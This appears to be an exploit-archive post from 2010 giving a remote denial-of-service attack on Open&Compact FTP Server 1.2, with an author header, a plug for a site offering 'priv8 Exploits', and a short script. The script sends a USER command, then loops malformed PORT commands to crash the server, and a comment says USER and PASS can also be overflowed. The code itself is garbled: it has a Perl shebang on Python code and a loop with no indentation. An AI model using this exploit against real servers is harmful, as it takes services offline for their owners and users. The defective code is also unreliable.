Open And Compact FTP Server 1.2 Denial Of Service

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# Tilte: Open&Compact Ftp Server 1.2 "PORT" command Remote Denial of Service.  
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# Date....................: [22-05-2010]# Author..................: [Ma3sTr0-Dz]# Location ...............: [Algeria]# Software ...............: [Open&Comapct Ftp Server 1.2 "PORT" command Remote Denial of Service]# Impact..................: [Remote]# Site Software ..........:   
[http://sourceforge.net/projects/open-ftpd/]# Sptnx ..................: [CmOs_CLR & Sec4ever  
Memberz.]# Home : .................:   
[Www.Sec4ever.Com/home/ For Latest 2010 Localz & priv8 Exploits !]# Contact me : ...........: [[email protected]] #  
Vulnerability: Remote Denial of service .  
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Part ExplOit & Bug Codes :   
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#!/usr/bin/perl  
  
import socket  
  
print '---------------------------------------------------------------------'  
print ' Open&Compact Ftp Server 1.2 "PORT" command Remote Denial of Service'  
print ' url: http://sourceforge.net/projects/open-ftpd'  
print ' author: Ma3sTr0-Dz'  
print ' mail: [email protected]'  
print ' site: www.sec4ever.com'  
print ' USER and PASS methods are vulnerable too, just pass "A: " * 1000'  
print ' as buffer'  
print '---------------------------------------------------------------------'  
  
buffer = "A" * 5  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(("127.0.0.1",21))  
s.send('USER %s\r\n' % "anonymous")  
  
for i in range(1,31):  
s.send('PORT %s\n\n' % buffer)  
print "Sending request n. " + str(i)  
  
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Don't Forget : Www.Sec4ever.Com/home [ Class it in favoris for more surprices ]  
  
  
  
  
  
  
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